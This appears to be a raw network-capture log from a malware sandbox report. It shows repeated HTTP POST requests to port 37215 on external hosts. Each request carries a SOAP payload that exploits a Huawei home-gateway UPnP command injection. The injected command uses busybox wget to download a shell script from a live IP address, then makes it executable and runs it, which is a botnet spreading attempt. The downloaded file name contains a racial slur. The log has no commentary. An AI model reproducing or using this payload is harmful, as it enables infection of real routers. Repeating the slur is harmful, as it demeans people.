Feb 19, 2024 18:38:09.952292919 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
148	192.168.2.15	46930	222.186.174.59	37215

Timestamp	Bytes transferred	Direction	Data
Feb 19, 2024 18:37:40.801158905 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:37:42.689023972 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:37:45.121083975 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:37:49.728806019 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:37:58.688518047 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:38:16.864100933 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
149	192.168.2.15	45356	45.43.235.113	37215

Timestamp	Bytes transferred	Direction	Data
Feb 19, 2024 18:37:41.312438965 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:37:45.377001047 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
